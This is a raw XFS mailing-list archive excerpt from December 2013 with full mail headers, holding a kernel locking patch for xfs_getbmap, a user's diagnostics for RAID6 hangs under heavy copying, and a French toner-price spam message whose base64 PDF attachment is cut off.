X-Barracuda-Connect: mail-wi0-f171.google.com[209.85.212.171] X-Barracuda-Start-Time: 1387355603 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_MISMATCH_TO, DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143191 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 BSF_SC0_MISMATCH_TO Envelope rcpt doesn't match header -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature > Even a reboot is now not possible anymore, because the whole system > hangs while executing the "sync" command in one of the shutdown scripts. This is unusual. How long have you waited? From BATV+807b83d1d2d1b1e538ea+3769+infradead.org+hch@bombadil.srs.infradead.org Wed Dec 18 04:14:42 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id C1A7A7F3F for ; Wed, 18 Dec 2013 04:14:42 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 45EACAC002 for ; Wed, 18 Dec 2013 02:14:42 -0800 (PST) X-ASG-Debug-ID: 1387361680-04cb6c537b8051a0001-NocioJ Received: from bombadil.infradead.org (bombadil.infradead.org [198.137.202.9]) by cuda.sgi.com with ESMTP id UAxmOHgFrU9GoYLY (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO); Wed, 18 Dec 2013 02:14:40 -0800 (PST) X-Barracuda-Envelope-From: BATV+807b83d1d2d1b1e538ea+3769+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1VtE9H-0001Mr-RQ; Wed, 18 Dec 2013 10:14:39 +0000 Date: Wed, 18 Dec 2013 02:14:39 -0800 From: Christoph Hellwig To: Ben Myers Cc: Dave Chinner , xfs@oss.sgi.com Subject: [PATCH 04/11 v2] xfs: add xfs_ilock_attr_map_shared Message-ID: <20131218101439.GA5060@infradead.org> X-ASG-Orig-Subj: [PATCH 04/11 v2] xfs: add xfs_ilock_attr_map_shared References: <20131206203006.914776999@bombadil.infradead.org> <20131206203128.663030833@bombadil.infradead.org> <20131208223610.GE31386@dastard> <20131209181612.GA22183@infradead.org> <20131209222433.GY10988@dastard> <20131210161349.GD19510@infradead.org> <20131217173334.GV1935@sgi.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20131217173334.GV1935@sgi.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: bombadil.infradead.org[198.137.202.9] X-Barracuda-Start-Time: 1387361680 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143192 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- Equivalent to xfs_ilock_data_map_shared, except for the attribute fork. Make xfs_getbmap use it if called for the attribute fork instead of xfs_ilock_data_map_shared. Signed-off-by: Christoph Hellwig Index: xfs/fs/xfs/xfs_bmap_util.c =================================================================== --- xfs.orig/fs/xfs/xfs_bmap_util.c 2013-12-18 11:14:52.587953376 +0100 +++ xfs/fs/xfs/xfs_bmap_util.c 2013-12-18 11:15:29.367952621 +0100 @@ -617,22 +617,27 @@ xfs_getbmap( return XFS_ERROR(ENOMEM); xfs_ilock(ip, XFS_IOLOCK_SHARED); - if (whichfork == XFS_DATA_FORK && !(iflags & BMV_IF_DELALLOC)) { - if (ip->i_delayed_blks || XFS_ISIZE(ip) > ip->i_d.di_size) { + if (whichfork == XFS_DATA_FORK) { + if (!(iflags & BMV_IF_DELALLOC) && + (ip->i_delayed_blks || XFS_ISIZE(ip) > ip->i_d.di_size)) { error = -filemap_write_and_wait(VFS_I(ip)->i_mapping); if (error) goto out_unlock_iolock; + + /* + * Even after flushing the inode, there can still be + * delalloc blocks on the inode beyond EOF due to + * speculative preallocation. These are not removed + * until the release function is called or the inode + * is inactivated. Hence we cannot assert here that + * ip->i_delayed_blks == 0. + */ } - /* - * even after flushing the inode, there can still be delalloc - * blocks on the inode beyond EOF due to speculative - * preallocation. These are not removed until the release - * function is called or the inode is inactivated. Hence we - * cannot assert here that ip->i_delayed_blks == 0. - */ - } - lock = xfs_ilock_data_map_shared(ip); + lock = xfs_ilock_data_map_shared(ip); + } else { + lock = xfs_ilock_attr_map_shared(ip); + } /* * Don't let nex be bigger than the number of extents Index: xfs/fs/xfs/xfs_inode.c =================================================================== --- xfs.orig/fs/xfs/xfs_inode.c 2013-12-18 11:14:52.587953376 +0100 +++ xfs/fs/xfs/xfs_inode.c 2013-12-18 11:14:53.599953355 +0100 @@ -77,17 +77,18 @@ xfs_get_extsz_hint( } /* - * This is a wrapper routine around the xfs_ilock() routine used to centralize - * some grungy code. It is used in places that wish to lock the inode solely - * for reading the extents. The reason these places can't just call - * xfs_ilock(SHARED) is that the inode lock also guards to bringing in of the - * extents from disk for a file in b-tree format. If the inode is in b-tree - * format, then we need to lock the inode exclusively until the extents are read - * in. Locking it exclusively all the time would limit our parallelism - * unnecessarily, though. What we do instead is check to see if the extents - * have been read in yet, and only lock the inode exclusively if they have not. + * These two are wrapper routines around the xfs_ilock() routine used to + * centralize some grungy code. They are used in places that wish to lock the + * inode solely for reading the extents. The reason these places can't just + * call xfs_ilock(ip, XFS_ILOCK_SHARED) is that the inode lock also guards to + * bringing in of the extents from disk for a file in b-tree format. If the + * inode is in b-tree format, then we need to lock the inode exclusively until + * the extents are read in. Locking it exclusively all the time would limit + * our parallelism unnecessarily, though. What we do instead is check to see + * if the extents have been read in yet, and only lock the inode exclusively + * if they have not. * - * The function returns a value which should be given to the corresponding + * The functions return a value which should be given to the corresponding * xfs_iunlock() call. */ uint @@ -101,6 +102,19 @@ xfs_ilock_data_map_shared( lock_mode = XFS_ILOCK_EXCL; xfs_ilock(ip, lock_mode); return lock_mode; +} + +uint +xfs_ilock_attr_map_shared( + struct xfs_inode *ip) +{ + uint lock_mode = XFS_ILOCK_SHARED; + + if (ip->i_d.di_aformat == XFS_DINODE_FMT_BTREE && + (ip->i_afp->if_flags & XFS_IFEXTENTS) == 0) + lock_mode = XFS_ILOCK_EXCL; + xfs_ilock(ip, lock_mode); + return lock_mode; } /* Index: xfs/fs/xfs/xfs_inode.h =================================================================== --- xfs.orig/fs/xfs/xfs_inode.h 2013-12-18 11:14:52.587953376 +0100 +++ xfs/fs/xfs/xfs_inode.h 2013-12-18 11:14:53.599953355 +0100 @@ -338,6 +338,7 @@ void xfs_iunlock(xfs_inode_t *, uint); void xfs_ilock_demote(xfs_inode_t *, uint); int xfs_isilocked(xfs_inode_t *, uint); uint xfs_ilock_data_map_shared(struct xfs_inode *); +uint xfs_ilock_attr_map_shared(struct xfs_inode *); int xfs_ialloc(struct xfs_trans *, xfs_inode_t *, umode_t, xfs_nlink_t, xfs_dev_t, prid_t, int, struct xfs_buf **, xfs_inode_t **); From xfs@pzystorm.de Wed Dec 18 04:29:18 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 2611D7F3F for ; Wed, 18 Dec 2013 04:29:18 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 06EE2304043 for ; Wed, 18 Dec 2013 02:29:15 -0800 (PST) X-ASG-Debug-ID: 1387362552-04cbb04167804070001-NocioJ Received: from mail.pzystorm.de (mail.pzystorm.de [147.172.2.110]) by cuda.sgi.com with ESMTP id ddyVnG4Mw5OXEE0N (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Wed, 18 Dec 2013 02:29:13 -0800 (PST) X-Barracuda-Envelope-From: xfs@pzystorm.de X-Barracuda-Apparent-Source-IP: 147.172.2.110 Received: from [147.172.250.17] by mail.pzystorm.de with esmtpsa (TLS1.0:DHE_RSA_AES_256_CBC_SHA1:32) (Exim 4.76) (envelope-from ) id 1VtENK-0005je-Hc for xfs@oss.sgi.com; Wed, 18 Dec 2013 11:29:10 +0100 Message-ID: <52B178AA.6040302@pzystorm.de> Date: Wed, 18 Dec 2013 11:27:54 +0100 From: Kevin Richter Reply-To: xfs@pzystorm.de MIME-Version: 1.0 To: xfs@oss.sgi.com Subject: Re: XFS blocked task in xlog_cil_force_lsn References: <52B102FF.8040404@pzystorm.de> <52B118A9.8080905@hardwarefreak.com> X-ASG-Orig-Subj: Re: XFS blocked task in xlog_cil_force_lsn In-Reply-To: <52B118A9.8080905@hardwarefreak.com> Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: mail.pzystorm.de[147.172.2.110] X-Barracuda-Start-Time: 1387362553 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143193 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- Thanks for your mails! > This is unusual. How long have you waited? For the reboot? One night. After the copy process hangs: several hours. But mostly it recovers after several minutes. > 1. Switch to deadline. CFQ is not suitable for RAID storage, and not > suitable for XFS. This may not be a silver bullet but it will help. Can I switch it while my copy process (from a separate hd to this raid) is running... without data loss? Otherwise I would wait a bit, because now it is actually running for 8 hours without kernel panics. > 2. Post your chunk size and RAID6 stripe_cache_size value. They may be > sub optimal for your workload. $ cat /sys/block/md2/md/stripe_cache_size 256 $ mdadm --detail /dev/md2 | grep Chunk Chunk Size : 512K > 3. Post 'xfs_info /dev/mdX' There is a LUKS volume around /dev/md2, named '6tb'. > $ xfs_info /dev/md2 > xfs_info: /dev/md2 is not a mounted XFS filesystem > $ xfs_info /dev/mapper/6tb > meta-data=/dev/mapper/6tb isize=256 agcount=32, agsize=45631360 blks > = sectsz=512 attr=2 > data = bsize=4096 blocks=1460203520, imaxpct=5 > = sunit=128 swidth=384 blks > naming =version 2 bsize=4096 ascii-ci=0 > log =internal bsize=4096 blocks=521728, version=2 > = sectsz=512 sunit=8 blks, lazy-count=1 > realtime =none extsz=4096 blocks=0, rtextents=0 > 4. You're getting a lot of kswapd timeouts because you have swap and > the md/RAID6 array on the same disks. Relocate swap to disks that are > not part of this RAID6. Small SSDs are cheap and fast. Buy one and put > swap on it. Or install more RAM in the machine. Going the SSD route is > better as it gives flexibility. For instance, you can also relocate > your syslog files to it and anything else that does IO without eating > lots of space. This decreases the IOPS load on your rust. No no, swap is not on any of the raid disks. > # cat /proc/swaps > Filename Type Size Used Priority > /dev/sda3 partition 7812496 0 -1 sda is not in the raid. In the raid there are sd[cdefg]. > 5. Describe in some detail the workload(s) causing the heavy IO, and > thus these timeouts. cd /olddharddisk cp -av . /raid/ oldhardddisk is a mounted 1tb old harddisk, /raid is the 6tb raid from above. Heavy workload while this copy process (2 CPUs, each 4 cores): > top - 11:13:37 up 4 days, 21:32, 2 users, load average: 12.95, 11.33, 10.32 > Tasks: 155 total, 2 running, 153 sleeping, 0 stopped, 0 zombie > Cpu(s): 0.0%us, 5.7%sy, 0.0%ni, 82.1%id, 11.8%wa, 0.0%hi, 0.3%si, 0.0%st > Mem: 32916276k total, 32750240k used, 166036k free, 10076760k buffers > Swap: 7812496k total, 0k used, 7812496k free, 21221136k cached > > PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND > 699 root 20 0 0 0 0 S 11 0.0 248:17.59 md2_raid6 Dont know what consumes all of this 32GB RAM... 'top' sorted by memory consumption does not tell me. All entries are only 0.0% and 0.1% Thanks, Kevin Am 18.12.2013 04:38, schrieb Stan Hoeppner: > On 12/17/2013 8:05 PM, Kevin Richter wrote: >> Hi, >> >> around April 2012 there was a similar thread on this list which I have >> found via Google, so my mail topic is the same. >> >> I have a RAID6 array with 5 disks (each 2TB, net: 6TB). While copying >> under heavy load there are always these blocks. At the bottom of this >> message I have included some line from the syslog. >> >> Even a reboot is now not possible anymore, because the whole system >> hangs while executing the "sync" command in one of the shutdown scripts. >> >> So... first I have thought that my disks are faulty. >> But with smartmontools I have started a short and a long test on all of >> the 5 disks: no errors >> >> Then I have even recreated the whole array, but no improvement. >> >> Details about my server: 3.2.0-57-generic, Ubuntu 12.04.3 LTS >> Details about the array: soft array with mdadm v3.2.5, no hardware raid >> controller in the server >> >> The scheduler of the raid disks: >>> $ cat /sys/block/sd[cdefg]/queue/scheduler >>> noop deadline [cfq] >>> noop deadline [cfq] >>> noop deadline [cfq] >>> noop deadline [cfq] >>> noop deadline [cfq] >> >> >> Any ideas what I can do? > > Your workload is seeking the disks to death, which is why you're getting > these timeouts. The actuators simply can't keep up. > > 1. Switch to deadline. CFQ is not suitable for RAID storage, and not > suitable for XFS. This may not be a silver bullet but it will help. > > 2. Post your chunk size and RAID6 stripe_cache_size value. They may be > sub optimal for your workload. For the latter > > $ cat /sys/block/mdX/md/stripe_cache_size > > 3. Post 'xfs_info /dev/mdX' > > 4. You're getting a lot of kswapd timeouts because you have swap and > the md/RAID6 array on the same disks. Relocate swap to disks that are > not part of this RAID6. Small SSDs are cheap and fast. Buy one and put > swap on it. Or install more RAM in the machine. Going the SSD route is > better as it gives flexibility. For instance, you can also relocate > your syslog files to it and anything else that does IO without eating > lots of space. This decreases the IOPS load on your rust. > > 5. Describe in some detail the workload(s) causing the heavy IO, and > thus these timeouts. > From cmbounce@tdp1.com Wed Dec 18 05:03:11 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: ** X-Spam-Status: No, score=2.2 required=5.0 tests=HTML_IMAGE_ONLY_32, HTML_MESSAGE,T_DKIM_INVALID,T_OBFU_PDF_ATTACH autolearn=no version=3.3.1 X-Original-To: linux-xfs@oss.sgi.com Delivered-To: linux-xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 721297F3F for ; Wed, 18 Dec 2013 05:03:11 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 13CF0AC002 for ; Wed, 18 Dec 2013 03:03:07 -0800 (PST) X-ASG-Debug-ID: 1387364584-04bdf00fdfe3fc0001-w1Z2WR Received: from mail36.tdp1.com (mail36.tdp1.com [89.234.143.145]) by cuda.sgi.com with ESMTP id 6hMtstWGscxe7reN for ; Wed, 18 Dec 2013 03:03:04 -0800 (PST) X-Barracuda-Envelope-From: cmbounce@tdp1.com X-Barracuda-Apparent-Source-IP: 89.234.143.145 Date: Wed, 18 Dec 2013 12:02:38 +0100 DKIM-Signature: v=1; a=rsa-sha256; c=simple/simple; d=tdp1.com; s=default; t=1387364583; bh=3sT1P0EigAo1vYVnbcu7FvEZ937axkBYHOQyv9XA+pM=; h=To:From:Reply-To:Subject:List-Unsubscribe:From; b=oapf9+CIo0bKQ4VtvvKPs2UQ60Kmw9zF4Fwn/m9TEKMcGOKoIcSzEQjHoKxoAwxR0 NBZikE7hoNQEVWkjFiOuF3SfiTnr4t6k8awLcs3IbadnYh7339bslD/911lDnquW/q CikMoRZfwHEgevign+Uxq5S8NpjGzGaf1o9Zr2lg= To: "linux-xfs@oss.sgi.com linux-xfs@oss.sgi.com" X-UCE-Status: Yes From: Linda-Moreno X-UCE-Type: PCE Reply-To: Linda-Moreno X-VR-SPAM-SCORE: 0 Subject: TEDIPRO: Tarif toners compatibles laser DECEMBRE 2013 Message-Id: <94f32200a4574982cf9cc2b264f2e3e9@tdp1.com> X-ASG-Orig-Subj: TEDIPRO: Tarif toners compatibles laser DECEMBRE 2013 X-Priority: 3 List-Unsubscribe: MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="b1_94f32200a4574982cf9cc2b264f2e3e9" X-Barracuda-Connect: mail36.tdp1.com[89.234.143.145] X-Barracuda-Start-Time: 1387364584 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED, HTML_IMAGE_ONLY_32, HTML_MESSAGE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143193 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature 0.00 HTML_IMAGE_ONLY_32 BODY: HTML: images with 2800-3200 bytes of words 0.00 HTML_MESSAGE BODY: HTML included in message --b1_94f32200a4574982cf9cc2b264f2e3e9 Content-Type: multipart/alternative; boundary="b2_94f32200a4574982cf9cc2b264f2e3e9" --b2_94f32200a4574982cf9cc2b264f2e3e9 Content-Type: text/plain; charset=utf-8 Content-Transfer-Encoding: 8bit  Bonjour , Voici le nouveau tarif TEDIPRO concernant les toners compatibles pour imprimantes laser. Vous y trouverez les nouveautés du mois et des prix calculés au plus juste avec toujours une qualité d'impression impeccable. La liste n'est pas exhaustive, si vous ne trouvez pas votre imprimante ou votre toner, n'hésitez pas à répondre à ce mail et nous demander la référence que vous désirez. Cordialement, Linda Moreno   Tel: 04 67 85 46 71 Fax: 04 26 23 66 40 Port: 06 95 08 10 36 TEDIPRO Conditions de vente : - Participation aux frais de port  Entre 0€HT et 50€HT d'achat, 10€HT de frais de port Entre 51€HT et 100€HT d'achat, 5€HT de frais de port A partir de 100€HT d'achat, frais de port offert - Mode de paiement Paiement à réception de facture pour toute première commande (sous réserve d'acceptation) Possibilité de paiement à 30 jours nets pour les commandes supérieures à 400€HT ----------------------- Pour ne plus recevoir de messages, cliquez sur ce lien de désinscription : : http://cm1.tdp1.com/x2crm/index.php/marketing/click?uid=b99fdf4f9b580138cf7c845caffeb4e9&type=unsub&email=lesemery%40noos.fr Si, malgré le soin apporté à l’envoi de ce message, le lien de désinscription ci-dessus ne fonctionne pas, je vous invite à répondre à ce mail en indiquant « DESINSCRIPTION » dans l’objet. Celle-ci sera effective sous 24h. --b2_94f32200a4574982cf9cc2b264f2e3e9 Content-Type: text/html; charset=utf-8 Content-Transfer-Encoding: 8bit

     Bonjour ,

    Voici le nouveau tarif TEDIPRO concernant les toners compatibles pour imprimantes laser.
    Vous y trouverez les nouveautés du mois et des prix calculés au plus juste avec toujours une qualité d'impression impeccable.
    La liste n'est pas exhaustive, si vous ne trouvez pas votre imprimante ou votre toner, n'hésitez pas à répondre à ce mail et nous demander la référence que vous désirez.

    Cordialement,

    Linda Moreno  
    Tel: 04 67 85 46 71
    Fax: 04 26 23 66 40
    Port: 06 95 08 10 36
    TEDIPRO

    Conditions de vente :

    - Participation aux frais de port 

    Entre 0€HT et 50€HT d'achat, 10€HT de frais de port
    Entre 51€HT et 100€HT d'achat, 5€HT de frais de port
    A partir de 100€HT d'achat, frais de port offert

    - Mode de paiement

    Paiement à réception de facture pour toute première commande (sous réserve d'acceptation)
    Possibilité de paiement à 30 jours nets pour les commandes supérieures à 400€HT


    -----------------------
    Pour ne plus recevoir de messages, cliquez sur ce lien de désinscription : : http://cm1.tdp1.com/x2crm/index.php/marketing/click?uid=f69290f907b18afaf3b8e563480756f1&type=unsub&email=linux-xfs%40oss.sgi.com
    Si, malgré le soin apporté à l’envoi de ce message, le lien de désinscription ci-dessus ne fonctionne pas, je vous invite à répondre à ce mail en indiquant « DESINSCRIPTION » dans l’objet. Celle-ci sera effective sous 24h. --b2_94f32200a4574982cf9cc2b264f2e3e9-- --b1_94f32200a4574982cf9cc2b264f2e3e9 Content-Type: application/octet-stream; name="Tarif_TEDIPRO_Laser_Compatible_Decembre_2013.pdf" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="Tarif_TEDIPRO_Laser_Compatible_Decembre_2013.pdf" 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 